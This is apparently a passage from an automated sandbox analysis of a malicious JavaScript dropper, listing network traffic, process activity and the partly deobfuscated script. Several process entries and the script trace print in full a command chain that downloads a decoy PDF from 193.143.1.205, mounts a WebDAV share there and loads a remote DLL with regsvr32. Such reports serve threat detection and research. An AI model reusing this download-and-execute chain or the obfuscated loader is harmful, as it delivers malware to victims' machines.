Jan 10, 2025 21:32:42.193926096 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.367774963 CET	49717	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.799623013 CET	49733	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.804642916 CET	8888	49733	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:42.806215048 CET	49733	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.806396961 CET	49733	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:42.811136007 CET	8888	49733	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:43.585755110 CET	8888	49733	193.143.1.205	192.168.2.10
Jan 10, 2025 21:32:43.641458035 CET	49733	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 21:32:43.981080055 CET	49733	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 21:34:45.150650978 CET	49679	53	192.168.2.10	1.1.1.1
Jan 10, 2025 21:34:45.155432940 CET	53	49679	1.1.1.1	192.168.2.10
Jan 10, 2025 21:34:45.155530930 CET	49679	53	192.168.2.10	1.1.1.1
Jan 10, 2025 21:34:45.155576944 CET	49679	53	192.168.2.10	1.1.1.1
Jan 10, 2025 21:34:45.160315037 CET	53	49679	1.1.1.1	192.168.2.10
Jan 10, 2025 21:34:45.617376089 CET	53	49679	1.1.1.1	192.168.2.10
Jan 10, 2025 21:34:45.618172884 CET	49679	53	192.168.2.10	1.1.1.1
Jan 10, 2025 21:34:45.623147011 CET	53	49679	1.1.1.1	192.168.2.10
Jan 10, 2025 21:34:45.623240948 CET	49679	53	192.168.2.10	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:32:50.080837965 CET	59550	53	192.168.2.10	1.1.1.1
Jan 10, 2025 21:34:45.150197029 CET	53	60739	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:32:50.080837965 CET	192.168.2.10	1.1.1.1	0x5b0e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:32:50.088269949 CET	1.1.1.1	192.168.2.10	0x5b0e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:32:50.804820061 CET	1.1.1.1	192.168.2.10	0xb1e3	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:32:50.804820061 CET	1.1.1.1	192.168.2.10	0xb1e3	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49717	193.143.1.205	80	8028	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:32:40.475908041 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 21:32:41.287013054 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:32:41 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 21:32:41.287038088 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 21:32:41.287050962 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 21:32:41.287064075 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 21:32:41.287076950 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 21:32:41.287091017 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 21:32:41.287102938 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 21:32:41.287116051 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 21:32:41.287132025 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 10, 2025 21:32:41.287143946 CET	1236	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB
Jan 10, 2025 21:32:41.292037010 CET	324	IN	Data Raw: 06 53 4f d1 e7 84 e6 4a e8 f7 8e 29 8f ba ee 99 1e a4 8f 9e 1c 5d db 6b ae aa 50 42 fd 25 f9 ab 5a a8 d2 9a a9 55 d3 6a fd f4 b1 6f 67 3e d4 ea 75 af fe 19 f3 27 60 ce 2e ac 66 38 b4 7c d0 64 f9 04 5b 7f d4 e9 1f 43 32 d3 97 3b 01 d3 1c b4 1a 2e Data Ascii: SOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+wZM7:%TU3iKYu?Pp]t8txL{:0u`hCo\AGD_\|LCf0~M0X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49733	193.143.1.205	8888	1824	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:32:42.806396961 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 21:32:43.585755110 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:32:43 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	15:32:35
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\322024057229051058.js"
Imagebase:	0x7ff6c7950000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:32:36
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll
Imagebase:	0x7ff684cb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:32:36
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:32:36
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:32:41
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	15:32:41
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff684cb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:32:41
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff79a970000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:32:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:32:42
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	15:32:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1748,i,12677483823451127157,6974208797512940996,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function npofz() {	npofz() ➔ undefined
1	foqldryqo = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var qrcolmwxf = this[ljxuzgu + kfillvb + qtmqrp + fiicnc + dgfzqubwj + fqqnixnd + nhlcissr + xjwllra] ( this[enoulcxf + mvpkwymt + gwelleo + qtmqrp + jhckfxnlc + ljxuzgu + xjwllra][kuupddxzh + qtmqrp + dgfzqubwj + kfillvb + xjwllra + dgfzqubwj + rjtguk + rytdbf + lnwwvumsk + dgfzqubwj + gwelleo + xjwllra] ( enoulcxf + mvpkwymt + gwelleo + qtmqrp + jhckfxnlc + ljxuzgu + xjwllra + hjbkk + mvpkwymt + qnwvy + dgfzqubwj + njzsfvyxm + njzsfvyxm ) [zvfmfezoc + dgfzqubwj + iwlnzp + zvfmfezoc + dgfzqubwj + kfillvb + yrzydgjoe] ( bdlszddr + naypsulwk + bopeat + krwsaxj + gzjaip + kuupddxzh + dlonpzp + zvfmfezoc + zvfmfezoc + bopeat + iyglbta + tuvqf + gzjaip + dlonpzp + mvpkwymt + bopeat + zvfmfezoc + doailaof + kuupddxzh + mvmsvydkn + nhlcissr + xjwllra + qtmqrp + mvmsvydkn + njzsfvyxm + ebalfxy + vumxr + kfillvb + nhlcissr + dgfzqubwj + njzsfvyxm + doailaof + fqqnixnd + nhlcissr + xjwllra + dgfzqubwj + qtmqrp + nhlcissr + kfillvb + xjwllra + jhckfxnlc + mvmsvydkn + nhlcissr + kfillvb + njzsfvyxm + doailaof + oboqu + mvmsvydkn + gwelleo + kfillvb + njzsfvyxm + dgfzqubwj ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( tpqxnh = 0 ; tpqxnh < foqldryqo[njzsfvyxm + dgfzqubwj + nhlcissr + iwlnzp + xjwllra + qnwvy] ; ++ tpqxnh )
4	{
5	if ( qrcolmwxf == foqldryqo[tpqxnh] )
6	{
7	qrcolmwxf = true;
8	break ;
9	}
10	}
11	if ( qrcolmwxf !== true )
12	this[enoulcxf + mvpkwymt + gwelleo + qtmqrp + jhckfxnlc + ljxuzgu + xjwllra][gzxzhy + ojutierg + jhckfxnlc + xjwllra] ( );
13	this[enoulcxf + mvpkwymt + gwelleo + qtmqrp + jhckfxnlc + ljxuzgu + xjwllra][kuupddxzh + qtmqrp + dgfzqubwj + kfillvb + xjwllra + dgfzqubwj + rjtguk + rytdbf + lnwwvumsk + dgfzqubwj + gwelleo + xjwllra] ( enoulcxf + mvpkwymt + gwelleo + qtmqrp + jhckfxnlc + ljxuzgu + xjwllra + hjbkk + mvpkwymt + qnwvy + dgfzqubwj + njzsfvyxm + njzsfvyxm ) [qtmqrp + ojutierg + nhlcissr] ( gwelleo + rlzryj + yrzydgjoe + ebalfxy + jsovqmit + gwelleo + ebalfxy + ljxuzgu + mvmsvydkn + wumjftc + dgfzqubwj + qtmqrp + fiicnc + qnwvy + dgfzqubwj + njzsfvyxm + njzsfvyxm + hjbkk + dgfzqubwj + wpgtek + dgfzqubwj + ebalfxy + nuvpxt + kuupddxzh + mvmsvydkn + rlzryj + rlzryj + kfillvb + nhlcissr + yrzydgjoe + ebalfxy + rehpbp + fqqnixnd + nhlcissr + zmbnm + mvmsvydkn + nxuuaftk + dgfzqubwj + nuvpxt + enoulcxf + dgfzqubwj + rytdbf + zvfmfezoc + dgfzqubwj + zqhuajwq + ojutierg + dgfzqubwj + fiicnc + xjwllra + ebalfxy + nuvpxt + rjtguk + ojutierg + xjwllra + zdowjrska + jhckfxnlc + njzsfvyxm + dgfzqubwj + ebalfxy + mxoci + xjwllra + dgfzqubwj + rlzryj + ljxuzgu + mxoci + doailaof + jhckfxnlc + nhlcissr + zmbnm + mvmsvydkn + jhckfxnlc + gwelleo + dgfzqubwj + hjbkk + ljxuzgu + yrzydgjoe + tqqain + ebalfxy + qnwvy + xjwllra + xjwllra + ljxuzgu + ouxqplj + jsovqmit + jsovqmit + hcbjnrmy + slkxfcq + vskimpojp + hjbkk + hcbjnrmy + zhwhyvq + vskimpojp + hjbkk + hcbjnrmy + hjbkk + oauhrgms + teykai + zcnhhd + jsovqmit + jhckfxnlc + nhlcissr + zmbnm + mvmsvydkn + jhckfxnlc + gwelleo + dgfzqubwj + hjbkk + ljxuzgu + qnwvy + ljxuzgu + rehpbp + mrewy + mrewy + fiicnc + xjwllra + kfillvb + qtmqrp + xjwllra + ebalfxy + mxoci + xjwllra + dgfzqubwj + rlzryj + ljxuzgu + mxoci + doailaof + jhckfxnlc + nhlcissr + zmbnm + mvmsvydkn + jhckfxnlc + gwelleo + dgfzqubwj + hjbkk + ljxuzgu + yrzydgjoe + tqqain + mrewy + mrewy + gwelleo + rlzryj + yrzydgjoe + ebalfxy + jsovqmit + gwelleo + ebalfxy + nhlcissr + dgfzqubwj + xjwllra + ebalfxy + ojutierg + fiicnc + dgfzqubwj + ebalfxy + doailaof + doailaof + hcbjnrmy + slkxfcq + vskimpojp + hjbkk + hcbjnrmy + zhwhyvq + vskimpojp + hjbkk + hcbjnrmy + hjbkk + oauhrgms + teykai + zcnhhd + cisld + rugvcx + rugvcx + rugvcx + rugvcx + doailaof + yrzydgjoe + kfillvb + zmbnm + wumjftc + wumjftc + wumjftc + qtmqrp + mvmsvydkn + mvmsvydkn + xjwllra + doailaof + mrewy + mrewy + gwelleo + rlzryj + yrzydgjoe + ebalfxy + jsovqmit + gwelleo + ebalfxy + qtmqrp + dgfzqubwj + iwlnzp + fiicnc + zmbnm + qtmqrp + vskimpojp + oauhrgms + ebalfxy + jsovqmit + fiicnc + ebalfxy + doailaof + doailaof + hcbjnrmy + slkxfcq + vskimpojp + hjbkk + hcbjnrmy + zhwhyvq + vskimpojp + hjbkk + hcbjnrmy + hjbkk + oauhrgms + teykai + zcnhhd + cisld + rugvcx + rugvcx + rugvcx + rugvcx + doailaof + yrzydgjoe + kfillvb + zmbnm + wumjftc + wumjftc + wumjftc + qtmqrp + mvmsvydkn + mvmsvydkn + xjwllra + doailaof + hcbjnrmy + rugvcx + oauhrgms + zhwhyvq + teykai + oauhrgms + zhwhyvq + teykai + zcnhhd + vskimpojp + hcbjnrmy + teykai + fgxhuihy + fgxhuihy + zcnhhd + hjbkk + yrzydgjoe + njzsfvyxm + njzsfvyxm, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll",0,false) ➔ 0
14	}
15	lnwwvumsk = "M";
16	lnwwvumsk = "G";
17	lnwwvumsk = "d";
18	lnwwvumsk = "b";
19	lnwwvumsk = "t";
20	lnwwvumsk = "r";
21	lnwwvumsk = "a";
22	lnwwvumsk = "p";
23	lnwwvumsk = "j";
24	lnwwvumsk = "u";
25	lnwwvumsk = "F";
26	lnwwvumsk = "L";
27	lnwwvumsk = "j";
28	nxuuaftk = "t";
29	nxuuaftk = "R";
30	nxuuaftk = "G";
31	nxuuaftk = "I";
32	nxuuaftk = "O";
33	nxuuaftk = "G";
34	nxuuaftk = "j";
35	nxuuaftk = "Q";
36	nxuuaftk = "m";
37	nxuuaftk = "Y";
38	nxuuaftk = "u";
39	nxuuaftk = "X";
40	nxuuaftk = "p";
41	nxuuaftk = "k";
42	nuvpxt = "w";
43	nuvpxt = "M";
44	nuvpxt = "t";
45	nuvpxt = "n";
46	nuvpxt = "C";
47	nuvpxt = "F";
48	nuvpxt = "R";
49	nuvpxt = "Z";
50	nuvpxt = "U";
51	nuvpxt = "U";
52	nuvpxt = "s";
53	nuvpxt = "A";
54	nuvpxt = "P";
55	nuvpxt = "x";
56	nuvpxt = "h";
57	nuvpxt = "D";
58	nuvpxt = "h";
59	nuvpxt = "c";
60	nuvpxt = "n";
61	nuvpxt = "D";
62	nuvpxt = "n";
63	nuvpxt = "k";
64	nuvpxt = "-";
65	wumjftc = "G";
66	wumjftc = "a";
67	wumjftc = "F";
68	wumjftc = "I";
69	wumjftc = "B";
70	wumjftc = "P";
71	wumjftc = "i";
72	wumjftc = "v";
73	wumjftc = "E";
74	wumjftc = "i";
75	wumjftc = "s";
76	wumjftc = "Y";
77	wumjftc = "y";
78	wumjftc = "E";
79	wumjftc = "r";
80	wumjftc = "O";
81	wumjftc = "j";
82	wumjftc = "l";
83	wumjftc = "P";
84	wumjftc = "Z";
85	wumjftc = "G";
86	wumjftc = "a";
87	wumjftc = "f";
88	wumjftc = "a";
89	wumjftc = "z";
90	wumjftc = "o";
91	wumjftc = "K";
92	wumjftc = "B";
93	wumjftc = "R";
94	wumjftc = "D";
95	wumjftc = "I";
96	wumjftc = "Q";
97	wumjftc = "e";
98	wumjftc = "n";
99	wumjftc = "w";
100	wumjftc = "n";
101	wumjftc = "d";
102	wumjftc = "w";
103	wumjftc = "w";
104	gwelleo = "J";
105	gwelleo = "p";
106	gwelleo = "G";
107	gwelleo = "m";
108	gwelleo = "q";
109	gwelleo = "n";
110	gwelleo = "L";
111	gwelleo = "k";
112	gwelleo = "I";
113	gwelleo = "v";
114	gwelleo = "n";
115	gwelleo = "G";
116	gwelleo = "u";
117	gwelleo = "R";
118	gwelleo = "F";
119	gwelleo = "t";
120	gwelleo = "q";
121	gwelleo = "u";
122	gwelleo = "c";
123	qnwvy = "n";
124	qnwvy = "o";
125	qnwvy = "P";
126	qnwvy = "W";
127	qnwvy = "h";
128	oauhrgms = "J";
129	oauhrgms = "n";
130	oauhrgms = "C";
131	oauhrgms = "g";
132	oauhrgms = "v";
133	oauhrgms = "c";
134	oauhrgms = "G";
135	oauhrgms = "I";
136	oauhrgms = "l";
137	oauhrgms = "d";
138	oauhrgms = "p";
139	oauhrgms = "J";
140	oauhrgms = "h";
141	oauhrgms = "R";
142	oauhrgms = "r";
143	oauhrgms = "r";
144	oauhrgms = "t";
145	oauhrgms = "t";
146	oauhrgms = "O";
147	oauhrgms = "V";
148	oauhrgms = "Q";
